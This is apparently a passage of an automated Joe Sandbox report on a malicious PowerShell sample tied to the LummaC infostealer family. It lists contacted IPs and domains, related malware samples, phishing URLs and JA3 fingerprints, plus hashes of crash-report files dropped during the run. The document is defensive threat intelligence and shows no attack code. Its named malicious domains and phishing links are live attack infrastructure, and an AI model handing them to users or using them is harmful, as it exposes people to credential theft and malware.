https://steamdb.info/0	powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
169.150.247.33	tengkis-txt.b-cdn.net	United States	2711	SPIRITTEL-ASUS	false
172.67.146.35	condedqpwqm.shop	United States	13335	CLOUDFLARENETUS	true
172.67.200.243	bassicnuadnwi.shop	United States	13335	CLOUDFLARENETUS	true
138.199.36.9	tengkis.b-cdn.net	European Union	51964	ORANGE-BUSINESS-SERVICES-IPSN-ASNFR	false
172.67.167.249	iplogger.co	United States	13335	CLOUDFLARENETUS	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1506506
Start date and time:	2024-09-07 23:14:14 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 10m 7s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	20
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	ofsetvideofre.click.ps1
Detection:	MAL
Classification:	mal100.troj.evad.winPS1@17/498@7/5
EGA Information:	Successful, ratio: 50%
HCA Information:	Successful, ratio: 72% Number of executed functions: 34 Number of non-executed functions: 73
Cookbook Comments:	Found application associated with file extension: .ps1

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 52.182.143.212
Excluded domains from analysis (whitelisted): ocsp.digicert.com, onedsblobprdcus15.centralus.cloudapp.azure.com, slscr.update.microsoft.com, login.live.com, blobcollector.events.data.trafficmanager.net, ctldl.windowsupdate.com, umwatson.events.data.microsoft.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target powershell.exe, PID 1564 because it is empty
Execution Graph export aborted for target powershell.exe, PID 2952 because it is empty
Execution Graph export aborted for target powershell.exe, PID 6724 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: ofsetvideofre.click.ps1

Simulations

Behavior and APIs

Time	Type	Description
17:15:12	API Interceptor	179x Sleep call for process: powershell.exe modified
17:16:21	API Interceptor	1x Sleep call for process: more.com modified
17:16:22	API Interceptor	3x Sleep call for process: SearchIndexer.exe modified
17:16:33	API Interceptor	2x Sleep call for process: WerFault.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
169.150.247.33	human-check.b-cdn.net.ps1	Get hash	malicious	LummaC	Browse
	human-verificati0n.b-cdn.net.ps1	Get hash	malicious	LummaC	Browse
	Download-File-2-Chainz--Dope-Dont-Sell-Itself-Hola-Browser-Setup-C-Mmds4495 (1).exe	Get hash	malicious	Unknown	Browse
	https://microsoftcamp-v1.b-cdn.net/micro-v1	Get hash	malicious	Unknown	Browse
	https://mato-camp-v4.b-cdn.net/kesty	Get hash	malicious	Unknown	Browse
	https://markeertrafficservicebv6t3etwyghdsbn.dorik.io/	Get hash	malicious	Unknown	Browse
	SecuriteInfo.com.not-a-virus.HEUR.Server-Proxy.MSIL.Luminati.gen.4628.19441.exe	Get hash	malicious	Unknown	Browse
	http://links.engage.ticketmaster.com/ctt?m=9670224&r=NjIxOTEyMTA5MjExS0&b=0&j=MTc4MDA1Mjk2OAS2&k=Link-0&kx=1&kt=1&kd=https%3A%2F%2Fmswqmv.codesandbox.io?region=Y2FycmllLnN0YW5sZXlAZG9jMS53YS5nb3Y=	Get hash	malicious	Unknown	Browse
	http://links.engage.ticketmaster.com/ctt?m=9670224&r=NjIxOTEyMTA5MjExS0&b=0&j=MTc4MDA1Mjk2OAS2&k=Link-0&kx=1&kt=1&kd=https%3A%2F%2Ft6mg2t.codesandbox.io?plaza=dGVzdEB0YWZlcWxkLmVkdS5hdQ==	Get hash	malicious	Unknown	Browse
	Vine Insurance shared a file Notification Letter - 06.2023 with you.msg	Get hash	malicious	Unknown	Browse
172.67.146.35	information_package.exe	Get hash	malicious	LummaC	Browse
	0driver-updater-setup.exe	Get hash	malicious	LummaC	Browse
	New Media Kit Formats For Liquid.exe	Get hash	malicious	LummaC, MicroClip	Browse
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse
	FileApp.exe	Get hash	malicious	LummaC, PureLog Stealer, RedLine, Stealc, Vidar, Xmrig, zgRAT	Browse
	84eja4LTuy.exe	Get hash	malicious	LummaC	Browse
	aaUBt1z89S.exe	Get hash	malicious	LummaC	Browse
	Setup.exe	Get hash	malicious	LummaC	Browse
172.67.200.243	New Order Pls send me Proforma Invoice.exe	Get hash	malicious	FormBook, GuLoader	Browse	www.mtvglobalmusic.com/gnhu/?7nxL5F08=hPMf94/IjDuFnUdSZglfZqLE3v2+kKHniZeDi2o/qOc4pY/QEonTd5Kr1NhfddyxWoRLz+PNI0hqG3hdx7rndYnOBshd2lJdsw==&rZ3=kPwXx8
	SWIFT & ADVICE_pdf.vbs	Get hash	malicious	FormBook, GuLoader	Browse	www.mtvglobalmusic.com/qkwl/?gVYdy=u48di&5jpdwr=FLnLqlqpFXOdcWzO2h63NCGaPFnwIZtShJyLQEK1vfBMkuKgC/s8mNR+y2l36pLOCfWr9jGF7nTbqRb0LEyJA5rM9sOds3Kwrw==
	Maersk Bill of Lading, Packing List and Commercial Invoice_pdf.vbs	Get hash	malicious	FormBook, GuLoader	Browse	www.mtvglobalmusic.com/qkwl/?6lBXy=g8BLWRB&k6=FLnLqlqpFXOdcWzO2h63NCGaPFnwIZtShJyLQEK1vfBMkuKgC/s8mNR+y2l36pLOCfWr9jGF7nTbqRb0LEyJA5rM9sOds3Kwrw==
138.199.36.9	http://www.6rt.me/	Get hash	malicious	Unknown	Browse
138.199.36.9	http://mfb.asia/p/t/help/	Get hash	malicious	Unknown	Browse
172.67.167.249	4h1Zc12ZBe.exe	Get hash	malicious	Stealc	Browse
	dlcdkJcbbV.exe	Get hash	malicious	LummaC, RedLine	Browse
	1Vkf7silOj.exe	Get hash	malicious	LummaC, Amadey, Mars Stealer, PureLog Stealer, RedLine, SmokeLoader, Stealc	Browse
	hsRju5CPK2.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, RedLine, zgRAT	Browse
	https://prezi.com/i/view/0dF0780HKO9RqC8umFaJ	Get hash	malicious	Unknown	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
condedqpwqm.shop	Full-Setup.exe	Get hash	malicious	LummaC	Browse	104.21.10.172
	Full-Setup.exe	Get hash	malicious	LummaC	Browse	104.21.10.172
	Bootstrapper_1725724037599_1sly5.exe	Get hash	malicious	LummaC	Browse	104.21.10.172
	information_package.exe	Get hash	malicious	LummaC	Browse	172.67.146.35
	lnef.exe	Get hash	malicious	LummaC	Browse	104.21.10.172
	vjgg.exe	Get hash	malicious	LummaC, Vidar	Browse	104.21.10.172
	EenMhgLlcy.exe	Get hash	malicious	LummaC, MicroClip	Browse	104.21.10.172
	0driver-updater-setup.exe	Get hash	malicious	LummaC	Browse	104.21.10.172
	0driver-updater-setup.exe	Get hash	malicious	LummaC	Browse	172.67.146.35
	newvideozones.click.ps1	Get hash	malicious	LummaC	Browse	104.21.10.172
iplogger.co	newvideozones.click.ps1	Get hash	malicious	LummaC	Browse	104.21.82.93
	newvideozones.click.ps1	Get hash	malicious	Unknown	Browse	104.21.82.93
	pub-9c4ec7f3f95c448b85e464d2b533aac1.r2.dev.ps1	Get hash	malicious	LummaC	Browse	104.21.82.93
	4h1Zc12ZBe.exe	Get hash	malicious	Stealc	Browse	172.67.167.249
	Setup3.exe	Get hash	malicious	Unknown	Browse	104.21.76.57
	file.exe	Get hash	malicious	Unknown	Browse	104.21.76.57
	SecuriteInfo.com.W32.MSIL_Kryptik.EQI.gen.Eldorado.19106.7830.exe	Get hash	malicious	DarkTortilla	Browse	172.67.188.178
	file.exe	Get hash	malicious	DarkTortilla	Browse	172.67.188.178
	yLfAxBEcuo.exe	Get hash	malicious	Cryptbot, Vidar, Xmrig	Browse	172.67.188.178

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ORANGE-BUSINESS-SERVICES-IPSN-ASNFR	SecuriteInfo.com.Linux.Siggen.9999.21080.24829.elf	Get hash	malicious	Mirai	Browse	57.121.105.75
	SecuriteInfo.com.Linux.Siggen.9999.21530.5221.elf	Get hash	malicious	Mirai	Browse	167.4.144.80
	i586.elf	Get hash	malicious	Unknown	Browse	57.94.98.211
	https://src-assistanceclient.com/robots.txt	Get hash	malicious	Unknown	Browse	138.199.37.227
	mirai.arm.elf	Get hash	malicious	Mirai	Browse	57.121.191.11
	firmware.arm-linux-gnueabihf.elf	Get hash	malicious	Unknown	Browse	164.130.51.153
	sora.arm7.elf	Get hash	malicious	Mirai	Browse	216.72.235.253
	sora.spc.elf	Get hash	malicious	Mirai	Browse	57.80.165.200
	SecuriteInfo.com.Linux.Siggen.9999.28377.24731.elf	Get hash	malicious	Mirai	Browse	57.111.81.80
	https://files.fm/u/jsq73ja9cp	Get hash	malicious	GuLoader	Browse	138.199.41.120
CLOUDFLARENETUS	app__v6.15.9_.msi	Get hash	malicious	Unknown	Browse	188.114.97.3
	root-head.com.ps1	Get hash	malicious	Unknown	Browse	188.114.97.3
	Public Holiday mem_Notice 2024.exe	Get hash	malicious	AgentTesla	Browse	104.26.12.205
	Setup.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	Full-Setup.exe	Get hash	malicious	LummaC	Browse	104.21.10.172
	Setup.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	Setup.exe	Get hash	malicious	LummaC	Browse	104.21.40.252
	Full-Setup.exe	Get hash	malicious	LummaC	Browse	104.21.10.172
	https://cl.gy/BnDLj	Get hash	malicious	Unknown	Browse	104.21.80.92
	Bootstrapper_1725724037599_1sly5.exe	Get hash	malicious	LummaC	Browse	104.21.61.176
SPIRITTEL-ASUS	https://cl.gy/BnDLj	Get hash	malicious	Unknown	Browse	169.150.247.37
	http://manta-network.de/	Get hash	malicious	Unknown	Browse	169.150.236.105
	https://ar.recruit.net/verify_email.html?id=1716999753622&utm_medium=email&utm_source=confirm_alert&utm_campaign=confirm_alert	Get hash	malicious	HTMLPhisher	Browse	169.150.236.104
	https://bankatcitylogin.braincert.com/p/bankatcitycomcitynationalbankcitynationalloginaccessprofilevalidationid289393839bankatcitycitynationalbankcustomerloginverificationprofilecitynationalbankbankatcity	Get hash	malicious	HTMLPhisher, PayPal Phisher	Browse	169.150.236.105
	https://subscribe.pbn.com/PBN/?f=paid	Get hash	malicious	Unknown	Browse	169.150.247.37
	sh4.elf	Get hash	malicious	Unknown	Browse	199.74.8.64
	https://app.edu.buncee.com/buncee/67041126b8c5429abf86de62d6aaa0d9	Get hash	malicious	Unknown	Browse	169.150.255.181
	https://7b14357e6ed5ac4dfd72842ddaaaed9f.ipfscdn.io/ipfs/QmenmshJ1Lkb1NoEFFwbJh7REUP2Z4SDr5eZL3JXuJLWkR#info@titlesqld.com.au	Get hash	malicious	HTMLPhisher	Browse	169.150.236.104
	https://ipfs.io/ipfs/QmeKeCuc6egp3ZX5SzEwqrZmh738etEgdSeQ2masEZovkQ/	Get hash	malicious	Unknown	Browse	169.150.236.104
	https://carrefour-backtoschool17.pages.dev/emira	Get hash	malicious	Unknown	Browse	169.150.236.104
CLOUDFLARENETUS	app__v6.15.9_.msi	Get hash	malicious	Unknown	Browse	188.114.97.3
	root-head.com.ps1	Get hash	malicious	Unknown	Browse	188.114.97.3
	Public Holiday mem_Notice 2024.exe	Get hash	malicious	AgentTesla	Browse	104.26.12.205
	Setup.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	Full-Setup.exe	Get hash	malicious	LummaC	Browse	104.21.10.172
	Setup.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	Setup.exe	Get hash	malicious	LummaC	Browse	104.21.40.252
	Full-Setup.exe	Get hash	malicious	LummaC	Browse	104.21.10.172
	https://cl.gy/BnDLj	Get hash	malicious	Unknown	Browse	104.21.80.92
	Bootstrapper_1725724037599_1sly5.exe	Get hash	malicious	LummaC	Browse	104.21.61.176

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	root-head.com.ps1	Get hash	malicious	Unknown	Browse	169.150.247.33 138.199.36.9 172.67.167.249
	Public Holiday mem_Notice 2024.exe	Get hash	malicious	AgentTesla	Browse	169.150.247.33 138.199.36.9 172.67.167.249
	rfq_last_quater_product_purchase_order_import_list_09_06_2024_00000024.vbs	Get hash	malicious	GuLoader, Remcos	Browse	169.150.247.33 138.199.36.9 172.67.167.249
	rfq_last_quater_product_purchase_order_import_list_09_05_2024_00000024.cmd	Get hash	malicious	GuLoader, Remcos	Browse	169.150.247.33 138.199.36.9 172.67.167.249
	Bootstrapper_1725724037599_1sly5.exe	Get hash	malicious	LummaC	Browse	169.150.247.33 138.199.36.9 172.67.167.249
	AMERICAN GROUP.js	Get hash	malicious	Remcos	Browse	169.150.247.33 138.199.36.9 172.67.167.249
	ied6tTdm.posh.ps1	Get hash	malicious	Unknown	Browse	169.150.247.33 138.199.36.9 172.67.167.249
	RFQ DO NO17665.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	169.150.247.33 138.199.36.9 172.67.167.249
	BN57miasVe.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	169.150.247.33 138.199.36.9 172.67.167.249
	Nursultan.exe	Get hash	malicious	44Caliber Stealer, BlackGuard, Blank Grabber, Rags Stealer, Umbral Stealer, XWorm	Browse	169.150.247.33 138.199.36.9 172.67.167.249
a0e9f5d64349fb13191bc781f81f42e1	Setup.exe	Get hash	malicious	LummaC	Browse	172.67.200.243 172.67.146.35
	Full-Setup.exe	Get hash	malicious	LummaC	Browse	172.67.200.243 172.67.146.35
	Setup.exe	Get hash	malicious	LummaC	Browse	172.67.200.243 172.67.146.35
	Setup.exe	Get hash	malicious	LummaC	Browse	172.67.200.243 172.67.146.35
	Full-Setup.exe	Get hash	malicious	LummaC	Browse	172.67.200.243 172.67.146.35
	Bootstrapper_1725724037599_1sly5.exe	Get hash	malicious	LummaC	Browse	172.67.200.243 172.67.146.35
	AMERICAN GROUP.js	Get hash	malicious	Remcos	Browse	172.67.200.243 172.67.146.35
	SecuriteInfo.com.Variant.Lazy.587384.1674.426.exe	Get hash	malicious	LummaC, Vidar	Browse	172.67.200.243 172.67.146.35
	information_package.exe	Get hash	malicious	LummaC	Browse	172.67.200.243 172.67.146.35
	lnef.exe	Get hash	malicious	LummaC	Browse	172.67.200.243 172.67.146.35

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\file\Set-up.exe	NPKpnpi8wd.exe	Get hash	malicious	Unknown	Browse
C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.BootstrapIcons.dll	@!Pa$sc0d#U00e9__6391-NewFiLes.rar	Get hash	malicious	Vidar	Browse
	SecuriteInfo.com.Win32.DropperX-gen.22837.6834.exe	Get hash	malicious	Unknown	Browse
	SecuriteInfo.com.Win32.DropperX-gen.22837.6834.exe	Get hash	malicious	Unknown	Browse

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_SearchIndexer.ex_5b8cc603268ff1b7a1fe94191b1c93418820dd_9e0a92cb_c135ed26-587d-4692-b0ac-7d21cb68c305\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.0299948657459939
Encrypted:	false
SSDEEP:	192:T2367keuJl2Au0Nvw4UBRjI7FuzuiFoZ24IO8XOn:y8ulHNvwJjPzuiFoY4IO8g
MD5:	D4CD006B17D68F36F420B1BE38DD9610
SHA1:	553A015B4754BB603CE5C78B331737DD14E40C58
SHA-256:	A6695CE8EC2774477D8EBF3885F07ED637415E4EB2E24C499B724470964C0F85
SHA-512:	C9595EB9DD61955EC41832957419BB33534B8F0E41A0627C47120D3836F22CE880C8D2F64510E9B182109DB011F4FA7D309FD3E2FA48C51C1542384346E54946
Malicious:	false
Reputation:	low
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.0.2.1.7.3.8.5.7.6.0.3.0.6.3.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.0.2.1.7.3.8.7.2.1.3.4.3.3.4.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.c.1.3.5.e.d.2.6.-.5.8.7.d.-.4.6.9.2.-.b.0.a.c.-.7.d.2.1.c.b.6.8.c.3.0.5.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.f.a.8.4.1.6.a.6.-.d.d.5.7.-.4.c.5.d.-.9.2.5.d.-.5.c.3.8.3.d.5.2.0.2.e.2.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.S.e.a.r.c.h.I.n.d.e.x.e.r...e.x.e.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.S.e.a.r.c.h.I.n.d.e.x.e.r...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.b.f.4.-.0.0.0.1.-.0.0.1.4.-.c.4.5.a.-.0.2.2.c.6.b.0.1.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.0.f.5.1.9.f.e.e.c.4.8.6.d.e.8.7.e.d.7.3.c.b.9.2.d.3.c.a.c.8.0.2.4.0.0.0.0.0.0.0.0.!.0.0.0.0.e.0.4.6.4.a.9.c.6.7.f.c.b.d.d.9.3.e.b.5.6.9.6.a.9.e.5.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_SearchIndexer.ex_8eb7fb823ff285b9040204d6d2ff8176bc27e_9e0a92cb_1202c3d6-959a-466d-943c-50c080f7f305\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.0302466200505496
Encrypted:	false
SSDEEP:	192:R8367keuJi2Z056r4BRjI7FuzuiFoZ24IO8XOn:O8uid56rgjPzuiFoY4IO8g
MD5:	35BDEF0FBE734038578C8EAE17A2F211
SHA1:	FD0CC87776283DD79052F9E1979E3A9017F756A0
SHA-256:	A56AD666927D4658940A924137CCEC6A5894F75A89EC50EDADF921F004EE5F22
SHA-512:	8C1EBA6D05B1A13F83D42CF1AAC15FA62B078051CC4D8220551B1BB6AEE84D678BB0F98FE85F96F7B0A5882932F506C30FBAD5F7558D5883B395653FAF53AFE8
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.0.2.1.7.3.9.4.2.6.5.2.3.3.8.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.0.2.1.7.3.9.4.6.5.5.8.5.0.7.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.1.2.0.2.c.3.d.6.-.9.5.9.a.-.4.6.6.d.-.9.4.3.c.-.5.0.c.0.8.0.f.7.f.3.0.5.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.8.7.a.d.1.1.d.b.-.7.f.8.e.-.4.5.b.b.-.a.c.a.b.-.6.a.8.f.2.9.d.a.f.1.8.b.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.S.e.a.r.c.h.I.n.d.e.x.e.r...e.x.e.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.S.e.a.r.c.h.I.n.d.e.x.e.r...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.b.f.4.-.0.0.0.1.-.0.0.1.4.-.c.4.5.a.-.0.2.2.c.6.b.0.1.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.0.f.5.1.9.f.e.e.c.4.8.6.d.e.8.7.e.d.7.3.c.b.9.2.d.3.c.a.c.8.0.2.4.0.0.0.0.0.0.0.0.!.0.0.0.0.e.0.4.6.4.a.9.c.6.7.f.c.b.d.d.9.3.e.b.5.6.9.6.a.9.e.5.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER829F.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 15 streams, Sat Sep 7 21:16:26 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	100132
Entropy (8bit):	2.099082940633252
Encrypted:	false
SSDEEP:	768:5hXW+5Gn4B7tfUHTrCjq8HhsHHV4k9Kj0:5R5G+tMzrYq8BsHHV4wKY
MD5:	155D112CB5B61165454C7296A265B562
SHA1:	71E07487D33265BC5BDD9DB062FD046F517B610E
SHA-256:	E68291CF2BD3AD2375EB1BFE4ABBD719B6CDEB3E8430D0C92D21889EDC825CDB
SHA-512:	D3CFE1860138B4282208529386566E6E252DDE0B5513B71F7B9D713BF8398929153B6D4E71D470C248A6E831C0CC96A692B4E5A5194B9AC2DBBB1A822E231DFB
Malicious:	false
Preview:	MDMP..a..... ..........f............T...............h...........l#..........<E..........`.......8...........T............5...R...........#...........%..............................................................................eJ......t&......GenuineIntel............T..............f.............................0..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.......................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER8669.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	6346
Entropy (8bit):	3.7228247310777367
Encrypted:	false
SSDEEP:	192:R6l7wVeJeEi6l6VpCU7Ykp5HQZprK89bQasf3wm:R6lXJG6lMpCU7YepIQ5fF
MD5:	EF30EA837C2A47E346415CC4ACAF7E3D
SHA1:	5F5D726CA8CD501B5F0BCAFC321A767C336BE39A
SHA-256:	34EEE282648B65EF25A97FC500820834FC94FE37077DAA650AB4A68197DAA8E1
SHA-512:	D8CD8F5998F41B15773EA84B965313EF183B4761F1DE78791614A0F9A8797A1AD7B96D5A3C14180B2E304746DCC22F6CA16EA234DEF60E371AD362007BB3D82C
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.7.1.5.6.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER86D7.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4686
Entropy (8bit):	4.472493514986259
Encrypted:	false
SSDEEP:	48:cvIwWl8zs0Jg77aI9xuWpW8VY1PYm8M4JUA+EFvA+q81AOQKSJuYd:uIjfyI7PP7VtJUA0EQRJuYd
MD5:	7A724EB6A5C253F2DC17843F0E9F3903
SHA1:	70A7442BA0C6516C847A0BDEF5D96894700A41E4
SHA-256:	1A5858405265F3421370F458ADAA93EA24E8F9398789FD46D257698308F58308
SHA-512:	44CC0209B1AA195E549451B670B62E622C07AA2554F8A1F89E36F05DC2A1069D0CB67479CF64CAE51AC26D80F0E1985B602360C781A75EF8A63ACB9F8C8F173A
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="490339" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WERA3C3.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 15 streams, Sat Sep 7 21:16:34 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	108430
Entropy (8bit):	2.030968447683938
Encrypted:	false
SSDEEP:	384:6NnLHoRC4BrjWHtnUaRCTRo0SrjlbI+F6UP/P4A9qqOOL/SxZeI28+Yul:enLQC4B3WdUHTrgjq26iXHp/SnFy5
MD5:	87492C93AB38E9060AF80984B3C1DAD7
SHA1:	FA584FA51C11D6F52308F58F29D8160A573935C2
SHA-256:	D7BA1046BA2606B0304879AE86A7079557419E8C2F8F432A7EC5A0DA746F5C5A
SHA-512:	D48D3B62BB934A7A6E21BA523A41F52A5201D222829E1F36E1EB89FE138776DED4B2BAEDF06B9529D8AB37CEC487BE61975098977E05DADF7DE0131DFCE280C1
Malicious:	false
Preview:	MDMP..a..... ..........f.........................................#......T...8H..........`.......8...........T............5...q.......... $...........&..............................................................................eJ.......&......GenuineIntel............T..............f.............................0..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.......................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WERA480.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	6332
Entropy (8bit):	3.7218337858299995
Encrypted:	false
SSDEEP:	192:R6l7wVeJeED6hpYuYkBJdnpDT89bzasfcRm:R6lXJn6hpYuYWJdmz5f3
